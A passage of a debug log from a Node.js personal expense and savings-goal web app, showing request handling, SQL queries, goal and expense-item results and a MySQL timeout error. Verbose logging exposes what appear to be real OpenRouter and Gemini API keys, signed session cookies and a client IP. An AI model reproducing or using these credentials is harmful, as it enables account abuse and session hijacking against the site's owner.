    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AmViIz5psF6y0HKpM6vGOXA%3D%3D.pXuu5m1aAxMjCgGmCYoyleqaXuFXlK0Vjpe681GhgZ55jZ%2BZxN2SQbg%2FWqljqqgFOuBio6KmCc12NnvGjjUNVIty2qBpUD25sr%2FP9g2tSpJiuCWDy5ibZBTQpmu6kqAfNFw1ElMRbnfbWjgdalqoyZqsHLExkJk5XAKZA%2FBLd8Y%3D.PhAPOGvrT2RmyjP7wslfh%2B751fWxRGkU6lj215dtIZI; your_r_git.sid=s%3AovTWdEDsTVWpzFmrdMA9CqiEjB2kHyBV.IHq5DSwB5TWJNafQj034P8YpB95cH%2Fv%2Fw%2F7F663Z7II',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-24T12:07:16.329Z server-connect:router Serving serverConnect /api/goals/list
2026-02-24T12:07:16.330Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-02-24T12:07:16.330Z server-connect:app Executing action step identify
2026-02-24T12:07:16.330Z server-connect:app options: { provider: 'security' }
2026-02-24T12:07:16.330Z server-connect:output identity: 1
2026-02-24T12:07:16.330Z server-connect:app Executing action step restrict
2026-02-24T12:07:16.330Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:07:16.330Z server-connect:app Executing action step identify
2026-02-24T12:07:16.330Z server-connect:app options: { provider: 'security' }
2026-02-24T12:07:16.330Z server-connect:output identity: 1
2026-02-24T12:07:16.331Z server-connect:app Executing action step restrict
2026-02-24T12:07:16.331Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:07:16.331Z server-connect:output restrict: undefined
2026-02-24T12:07:16.331Z server-connect:app Executing action step custom
2026-02-24T12:07:16.331Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-02-24T12:07:16.331Z server-connect:output restrict: undefined
2026-02-24T12:07:16.331Z server-connect:app Executing action step paged
2026-02-24T12:07:16.331Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-24T12:07:16.332Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '50000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '50000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '50000',
    last_transaction_date: 2026-02-24T12:05:14.000Z,
    percentage_achieved: '25.00',
    grand_total_saved: '50000',
    grand_total_target: '4300000'
  }
]
2026-02-24T12:07:16.334Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      target_id: 8,
      credit: 50000,
      debit: 0,
      created_on: '2026-02-24T12:05:14.000Z',
      name: 'CPU Build'
    }
  ]
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-24 12:13:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-24 12:13:14' as DATETIME)"
}
2026-02-24T12:57:03.124Z server-connect:router Serving templateView /goal
2026-02-24T12:57:03.126Z server-connect:app Executing action step identify
2026-02-24T12:57:03.126Z server-connect:app options: { provider: 'security' }
2026-02-24T12:57:03.126Z server-connect:auth No login cookie found
2026-02-24T12:57:03.126Z server-connect:output identity: false
2026-02-24T12:57:03.126Z server-connect:app Executing action step restrict
2026-02-24T12:57:03.126Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:57:03.127Z server-connect:output restrict: undefined
2026-02-24T12:57:03.393Z server-connect:router Serving templateView /login
2026-02-24T12:57:03.394Z server-connect:app Executing action step identify
2026-02-24T12:57:03.394Z server-connect:app options: { provider: 'security' }
2026-02-24T12:57:03.394Z server-connect:output identity: 1
2026-02-24T12:57:03.394Z server-connect:router Render template layouts/authentication
2026-02-24T12:57:03.394Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AmViIz5psF6y0HKpM6vGOXA%3D%3D.pXuu5m1aAxMjCgGmCYoyleqaXuFXlK0Vjpe681GhgZ55jZ%2BZxN2SQbg%2FWqljqqgFOuBio6KmCc12NnvGjjUNVIty2qBpUD25sr%2FP9g2tSpJiuCWDy5ibZBTQpmu6kqAfNFw1ElMRbnfbWjgdalqoyZqsHLExkJk5XAKZA%2FBLd8Y%3D.PhAPOGvrT2RmyjP7wslfh%2B751fWxRGkU6lj215dtIZI; your_r_git.sid=s%3AovTWdEDsTVWpzFmrdMA9CqiEjB2kHyBV.IHq5DSwB5TWJNafQj034P8YpB95cH%2Fv%2Fw%2F7F663Z7II',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:07:11.430Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AmViIz5psF6y0HKpM6vGOXA%3D%3D.pXuu5m1aAxMjCgGmCYoyleqaXuFXlK0Vjpe681GhgZ55jZ%2BZxN2SQbg%2FWqljqqgFOuBio6KmCc12NnvGjjUNVIty2qBpUD25sr%2FP9g2tSpJiuCWDy5ibZBTQpmu6kqAfNFw1ElMRbnfbWjgdalqoyZqsHLExkJk5XAKZA%2FBLd8Y%3D.PhAPOGvrT2RmyjP7wslfh%2B751fWxRGkU6lj215dtIZI; your_r_git.sid=s%3AovTWdEDsTVWpzFmrdMA9CqiEjB2kHyBV.IHq5DSwB5TWJNafQj034P8YpB95cH%2Fv%2Fw%2F7F663Z7II',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/login'
}
2026-02-24T13:38:10.856Z server-connect:router Serving templateView /diecast-worksheet
2026-02-24T13:38:10.858Z server-connect:app Executing action step identify
2026-02-24T13:38:10.858Z server-connect:app options: { provider: 'security' }
2026-02-24T13:38:10.858Z server-connect:output identity: 1
2026-02-24T13:38:10.858Z server-connect:app Executing action step restrict
2026-02-24T13:38:10.858Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T13:38:10.860Z server-connect:output restrict: undefined
2026-02-24T13:38:10.860Z server-connect:router Render template layouts/main
2026-02-24T13:38:10.860Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"14e08-Q4zpHy5c6maHNHgkHz0rUeUZBAk"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:01:39.296Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"14e08-Q4zpHy5c6maHNHgkHz0rUeUZBAk"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast-worksheet'
}
2026-02-24T13:38:11.603Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-24T13:38:11.603Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-24T13:38:11.607Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-24T13:38:11.607Z server-connect:app Executing action step identify
2026-02-24T13:38:11.608Z server-connect:app options: { provider: 'security' }
2026-02-24T13:38:11.608Z server-connect:output identity: 1
2026-02-24T13:38:11.608Z server-connect:app Executing action step restrict
2026-02-24T13:38:11.608Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T13:38:11.608Z server-connect:app Executing action step identify
2026-02-24T13:38:11.608Z server-connect:app options: { provider: 'security' }
2026-02-24T13:38:11.608Z server-connect:output identity: 1
2026-02-24T13:38:11.608Z server-connect:app Executing action step restrict
2026-02-24T13:38:11.608Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T13:38:11.612Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-24T13:38:11.612Z server-connect:output restrict: undefined
2026-02-24T13:38:11.613Z server-connect:app Executing action step select
2026-02-24T13:38:11.613Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-24T13:38:11.613Z server-connect:app Executing action step identify
2026-02-24T13:38:11.613Z server-connect:app options: { provider: 'security' }
2026-02-24T13:38:11.613Z server-connect:output identity: 1
2026-02-24T13:38:11.613Z server-connect:app Executing action step restrict
2026-02-24T13:38:11.613Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T13:38:11.615Z server-connect:output restrict: undefined
2026-02-24T13:38:11.615Z server-connect:app Executing action step single
2026-02-24T13:38:11.615Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-24T13:38:11.616Z server-connect:app Executing action step identify
2026-02-24T13:38:11.616Z server-connect:app options: { provider: 'security' }
2026-02-24T13:38:11.616Z server-connect:output identity: 1
2026-02-24T13:38:11.616Z server-connect:app Executing action step restrict
2026-02-24T13:38:11.616Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T13:38:11.619Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-24T13:38:11.619Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-24T13:38:11.620Z server-connect:app Executing action step identify
2026-02-24T13:38:11.620Z server-connect:app options: { provider: 'security' }
2026-02-24T13:38:11.620Z server-connect:output identity: 1
2026-02-24T13:38:11.620Z server-connect:app Executing action step restrict
2026-02-24T13:38:11.620Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T13:38:11.620Z server-connect:app Executing action step identify
2026-02-24T13:38:11.620Z server-connect:app options: { provider: 'security' }
2026-02-24T13:38:11.620Z server-connect:output identity: 1
2026-02-24T13:38:11.620Z server-connect:app Executing action step restrict
2026-02-24T13:38:11.620Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T13:38:11.623Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
